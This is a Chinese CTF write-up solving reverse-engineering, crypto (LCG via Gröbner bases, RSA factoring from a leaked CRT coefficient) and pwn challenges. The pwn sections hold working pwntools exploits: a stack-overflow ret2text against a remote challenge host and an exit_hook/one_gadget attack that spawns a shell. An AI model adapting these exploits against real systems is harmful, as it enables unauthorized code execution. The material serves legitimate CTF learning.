Re combat_slogan 给了一个jar包,尝试运行
用Android Killer反编译一下得到主要逻辑,逆回去就好
1 2 3 4 5 6 7 8 9 10 11 apx = ord (b'\r' ) cipher = 'Jr_j11y_s1tug_g0_raq_g0_raq_pnml' flag = '' for i in cipher: if 'a' <= i <= 'm' or 'A' <= i <= 'M' : flag += chr (ord (i) + apx) elif 'n' <= i <= 'z' or 'N' <= i <= 'Z' : flag += chr (ord (i) - apx) else : flag += i print (flag)
hello_py pyc反编译,uncompyle可以得到较好的反编译结果。多线程加密,从后往前交替异或加密
由于异或的性质稍微修改源码就可以解密,比如encode_1
不进行加密只进行输出,最后逆序一下
1 2 3 4 5 6 7 8 9 def encode_1 (n ): global num while True : if num >= 0 : print (chr (flag[num] ^ num), end='' ) num -= 1 time.sleep(1 ) if num <= 0 : break
lemon 来自hitcon2021-cclemon,lemon语言的字节码,部分如下
1 2 3 4 5 6 7 8 9 10 11 0: const 60 ; <module 'main'> 5: module 9 592 11: const 26 ; 83 16: const 27 ; 69 21: const 28 ; 65 26: array 3 31: store 0 0 34: const 30 ; 101 39: const 31 ; 108 44: const 32 ; 111 ...
先简单学下lemon的语法,http://www.lemon-lang.org/documentation ,并且通过lemon查看语法对应的字节码,结合栈的弹参方式应该不难懂,数组是逆序入栈的
最后手撕,源程序去官方WP看吧,运行得到一串数字
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 0: const 60 ; <module 'main'> 5: module 9 592 11: const 26 ; 83 16: const 27 ; 69 21: const 28 ; 65 26: array 3 31: store 0 0 # q 34: const 30 ; 101 39: const 31 ; 108 44: const 32 ; 111 49: const 33 ; 117 54: const 34 ; 122 59: const 30 ; 101 64: const 35 ; 105 69: const 36 ; 98 74: const 30 ; 101 79: const 31 ; 108 84: const 33 ; 117 89: const 35 ; 105 94: const 37 ; 113 99: const 33 ; 117 104: const 35 ; 105 109: const 37 ; 113 114: array 16 119: store 0 1 # w 122: const 39 ; 0 127: store 0 2 # e 130: array 0 135: store 0 3 # a # while 138: load 0 2 # e 141: const 42 ; 256 146: lt # < 147: jz 184 152: load 0 3 # a 155: const 43 ; append 160: getattr 161: load 0 2 # e 164: call 1 166: pop 167: load 0 2 # e 170: const 44 ; 1 175: add 176: store 0 2 179: jmp 138 184: const 39 ; 0 189: store 0 4 # c # while 192: load 0 4 # c 195: const 42 ; 256 200: lt 201: jz 271 206: load 0 3 # a 209: load 0 4 # c 212: getitem 213: load 0 0 # q 216: load 0 4 # c 219: const 46 ; 3 224: mod 225: getitem 226: add 227: load 0 1 # w 230: load 0 4 # c 233: const 47 ; 16 238: mod 239: getitem 240: add 241: const 42 ; 256 246: mod 247: load 0 3 # a 250: load 0 4 # c 253: setitem 254: load 0 4 # c 257: const 44 ; 1 262: add 263: store 0 4 266: jmp 192 271: const 39 ; 0 276: store 0 5 # i # while 279: load 0 5 # i 282: const 46 ; 3 287: lt 288: jz 448 293: const 39 ; 0 # j 298: store 0 6 ## while 301: load 0 6 304: const 42 ; 256 309: lt 310: jz 366 315: load 0 3 # a 318: load 0 6 # j 321: getitem 322: load 0 3 # a 325: load 0 6 # j 328: const 44 ; 1 333: add 334: const 42 ; 256 339: mod 340: getitem 341: bxor 342: load 0 3 # a 345: load 0 6 # j 348: setitem 349: load 0 6 # j 352: const 44 ; 1 357: add 358: store 0 6 361: jmp 301 366: const 39 ; 0 ## while 371: store 0 7 374: load 0 7 377: const 42 ; 256 382: lt 383: jz 431 388: load 0 3 # a 391: load 0 7 # p 394: getitem 395: const 44 ; 1 400: add 401: const 42 ; 256 406: mod 407: load 0 3 # a 410: load 0 7 # p 413: setitem 414: load 0 7 417: const 44 ; 1 422: add 423: store 0 7 426: jmp 374 431: load 0 5 # i 434: const 44 ; 1 439: add 440: store 0 5 443: jmp 279 448: const 39 ; 0 453: store 0 5 456: const 39 ; 0 461: store 0 8 # n # while 464: load 0 5 467: const 42 ; 256 472: lt 473: jz 509 478: load 0 8 # n 481: load 0 3 # a 484: load 0 5 # i 487: getitem 488: add 489: store 0 8 492: load 0 5 495: const 44 ; 1 500: add 501: store 0 5 504: jmp 464 509: load 0 8 # n 512: const 51 ; 20 517: mul 518: const 52 ; 5 523: add 524: store 0 8 527: load 0 8 530: const 54 ; 30 535: mul 536: const 52 ; 5 541: sub 542: store 0 8 545: load 0 8 548: const 56 ; 40 553: mul 554: const 52 ; 5 559: sub 560: store 0 8 563: load 0 8 566: const 58 ; 50 571: mul 572: const 59 ; 6645 577: add 578: store 0 8 581: const 23 ; <function 'print'> 586: load 0 8 589: call 1 591: pop
Crypto LinearEquations LCG线性同余寄存器的魔改,方程变成 $$ s[i]\equiv a\times s[i-1]+b\times s[i-2]+c\ (mod\ n)\notag $$
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class my_LCG : def __init__ (self, seed1 , seed2 ): self.state = [seed1,seed2] self.n = getPrime(64 ) while 1 : self.a = bytes_to_long(flag[:8 ]) self.b = bytes_to_long(flag[8 :16 ]) self.c = bytes_to_long(flag[16 :]) if self.a < self.n and self.b < self.n and self.c < self.n: break def next (self ): new = (self.a * self.state[-1 ] + self.b * self.state[-2 ] + self.c) % self.n self.state.append( new ) return new
并且告诉我们前五个状态和$n$,要求$a$,$b$,$c$
之前的攻击都不适用了,感觉可以魔改,但这里直接Gröbner基解同余方程组就出了
math 参考https://lazzzaro.github.io/2020/05/06/crypto-RSA/#给-e-d-modinv-q-p-c
1 2 3 4 5 pinvq:0x63367a2b947c21d5051144d2d40572e366e19e3539a3074a433a92161465543157854669134c03642a12d304d2d9036e6458fe4c850c772c19c4eb3f567902b3 qinvp:0x79388eb6c541fffefc9cfb083f3662655651502d81ccc00ecde17a75f316bc97a8d888286f21b1235bde1f35efe13f8b3edb739c8f28e6e6043cb29569aa0e7b c:0x5a1e001edd22964dd501eac6071091027db7665e5355426e1fa0c6360accbc013c7a36da88797de1960a6e9f1cf9ad9b8fd837b76fea7e11eac30a898c7a8b6d8c8989db07c2d80b14487a167c0064442e1fb9fd657a519cac5651457d64223baa30d8b7689d22f5f3795659ba50fb808b1863b344d8a8753b60bb4188b5e386 e:0x10005 d:0xae285803302de933cfc181bd4b9ab2ae09d1991509cb165aa1650bef78a8b23548bb17175f10cddffcde1a1cf36417cc080a622a1f8c64deb6d16667851942375670c50c5a32796545784f0bbcfdf2c0629a3d4f8e1a8a683f2aa63971f8e126c2ef75e08f56d16e1ec492cf9d26e730eae4d1a3fecbbb5db81e74d5195f49f1
算法
令$k$遍历$[1,\ e]$,当$ed-1\equiv 0\ (mod\ k)$时继续2
计算$\varphi(n)=\frac{ed-1}{k}$,$x=1+q^{-1}_p\cdot\varphi(n)-q^{-1}_p$
令$r$遍历$[2,\ 11]$,计算$kp_i=r_i^{\varphi(n)}\ mod\ x$,若$(kp_{i-1},\ kp_i)$的位数符合$p$的位数,则$p=(kp_{i-1},\ kp_i),\ q\equiv(q^{-1}_p)^{-1}\ (mod\ p)$,返回$p,\ q$
原理
由$ed=1+k\varphi(n)$易得,$\varphi(n)=\frac{ed-1}{k}$,而$k$又是$e$比特位的,可以爆破$\varphi(n)$
由$q^{-1}_p\cdot\varphi(n)\equiv q^{-1}_p\cdot (n-p-q+1)\equiv-1+q^{-1}_p\ (mod\ p)$得 $$ x=1+q^{-1}_p\cdot\varphi(n)-q^{-1}_p,\ x\equiv 0\ (mod\ p)\notag $$
任取多个$r_i\in \mathbb{Z}$,计算$kp_i=r_i^{\varphi(n)}\ mod\ x$,由定理1以及费马小定理可知$kp_i\equiv (r_i^{\varphi(n)}\ mod\ x)\equiv r_i^{\varphi(n)}\equiv 1\ (mod\ p)$
这样虽然我们不知道$p$,但是成功转移到我们求得的$x$上,$kp_i-1\equiv 0\ (mod\ p)$,因此$kp_i$是$p$的倍数,多求几组便可以gcd
求得$p$
(多求几组的意思是,首先只有找到真正的$k$,上述一切才会成立;在正确的$k$下求出来的$kp_i$都是$p$的倍数,但$kp_i$之间可能存在除了$p$以外的公因子,所以是多求几组
最终的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from sage import *def leak_qinvp_attack (e, d, qinvp ): for k in range (1 , e): if (e * d - 1 ) % k == 0 : phi = (e * d - 1 ) // k x = 1 + qinvp * phi - qinvp if x > 0 : p = x for i in range (2 , 11 ): p = gcd(p, pow (i, phi, p) - 1 ) if p.bit_length() == 512 : q = inverse(qinvp, p) return p, q pinvq = 0x63367a2b947c21d5051144d2d40572e366e19e3539a3074a433a92161465543157854669134c03642a12d304d2d9036e6458fe4c850c772c19c4eb3f567902b3 qinvp = 0x79388eb6c541fffefc9cfb083f3662655651502d81ccc00ecde17a75f316bc97a8d888286f21b1235bde1f35efe13f8b3edb739c8f28e6e6043cb29569aa0e7b c = 0x5a1e001edd22964dd501eac6071091027db7665e5355426e1fa0c6360accbc013c7a36da88797de1960a6e9f1cf9ad9b8fd837b76fea7e11eac30a898c7a8b6d8c8989db07c2d80b14487a167c0064442e1fb9fd657a519cac5651457d64223baa30d8b7689d22f5f3795659ba50fb808b1863b344d8a8753b60bb4188b5e386 e = 0x10005 d = 0xae285803302de933cfc181bd4b9ab2ae09d1991509cb165aa1650bef78a8b23548bb17175f10cddffcde1a1cf36417cc080a622a1f8c64deb6d16667851942375670c50c5a32796545784f0bbcfdf2c0629a3d4f8e1a8a683f2aa63971f8e126c2ef75e08f56d16e1ec492cf9d26e730eae4d1a3fecbbb5db81e74d5195f49f1 p, q = leak_qinvp_attack(e, d, qinvp) n = p * q flag = bytes .fromhex(hex (pow (c, d, n))[2 :]) print (flag)
Pwn pwn1 有意思的ret2text题,对汇编下手了
查看保护,开启了NX,大概率是ROP
main函数逻辑如下,明显的栈溢出并且存在后门函数,但直接填充覆盖返回地址为后门函数的攻击失败;此外,还告诉我们了局部变量buf的地址。通过查看汇编代码发现,在main函数结束的时候没有老老实实地leave; ret;
而是在其中掺了一条lea esp, [ecx-4]
动调分析,256个垃圾数据全部填满后,发现返回地址是ecx
的值减4,溢出的距离是52,ecx
为输入的第52~56位,可以构造payload了
完整的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *io = remote("113.201.14.253" , 16088 ) backdoor = 0x8048540 io.recvuntil(b'Gift:' ) buf_addr = int (io.recvline()[2 :-1 ], 16 ) log.success('Gift ====> ' + hex (buf_addr)) payload = p32(backdoor) + b'A' * 48 + p32(buf_addr + 4 ) io.sendline(payload) io.interactive()
pwn3 题目描述 给了一个ELF以及libc-2.23.so
例行检查保护,全开
运行一下类似一个升级打怪的游戏
分析思路 IDA分析,没有后门函数。如下图所示,main函数中有一段代码输出了puts
的地址,提供了任意地址写,关键它是以exit
退出程序的,这就足以实现exit_hook攻击。首先知道下什么是hook技术,Fr. ,其次再来详细了解下exit_hook,Fr.
这里可以写一个地址长度的数据,搭配one_gadget就可以成功获得shell,但要运行到这里得先通过start_game
start_game
如下图所示,将blood
减去attack[9]
,如果blood
小于0则成功打败boss,执行上图框框里的代码。如上图所示,blood
初始值为0x7fffffff
,一次减35,减到猴年马月了
level_up
函数用于升级提高攻击,最高35。40个字节的attack
数组长度为10,每个元素以DWORD
的形式展现,最后4个字节用来存储前面的长度,用于start_game
的攻击。level_up
里面使用了strncat
,它的工作原理是将原字符串末尾的\0
给去掉,追加新的字符串之后,再在末尾添上\0
。可以利用这个性质将s
全部填满,这样strncat
就会将\0
追加到attack[9]
中,attack[9]=0
,使得下次level_up
的时候还可以输入,下次输入的4个字节就直接作为attack[9]
,大大提高了攻击值(\xff\xff\xff\x0a
的话只需要攻击一次
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *context.arch='amd64' io = process('./Gpwn3' ) libc = ELF("libc-2.23.so" ) ru = lambda s : io.recvuntil(s) sl = lambda s : io.sendline(s) sn = lambda s : io.send(s) rv = lambda s : io.recv(s) rl = lambda : io.recvline() sla = lambda r, s : io.sendlineafter(r, s) sa = lambda r, s :io.sendafter(r, s) def creat_game (level ): sla(b"You choice:" , b'1' ) sla(b"Give me a character level :\n" , level) def level_up (level ): sla(b"You choice:" , b'2' ) sla(b"Give me another level :\n" , level) def start_game (): sla(b"You choice:" , b'3' ) creat_game(b'A' * 18 ) level_up(b'A' * 18 ) ru(b"You choice:" ) level_up(b"\xff\xff\xff" ) start_game() ru(b"Here's your reward: " ) puts_addr = int (rl()[2 :-1 ].decode(), 16 ) success("puts_addr ===> " + hex (puts_addr)) libc_base = puts_addr - libc.sym["puts" ] system_addr = libc_base + libc.sym["system" ] bin_sh_addr = libc_base + next (libc.search('/bin/sh\x00' .encode())) success("libc_base ===> " + hex (libc_base)) success("system_addr ===> " + hex (system_addr)) success("bin_sh_addr ===> " + hex (bin_sh_addr)) one_gadget = [0x45226 , 0x4527a , 0xcd173 , 0xcd248 , 0xf03a4 , 0xf03b0 , 0xf1247 , 0xf67f0 ] dl_rtld_unlock_recursive = libc_base + 0x5f0040 + 3848 sa(b"Warrior,please leave your name:" , p64(dl_rtld_unlock_recursive)) sla(b"We'll have a statue made for you!" , p64(libc_base + one_gadget[6 ])) io.interactive()
Reference TSG CTF 2020 - Modulus Amittendus
https://yaoxixixi.github.io/2021/12/07/字节码(Hitcon-cclemon)/
官方WP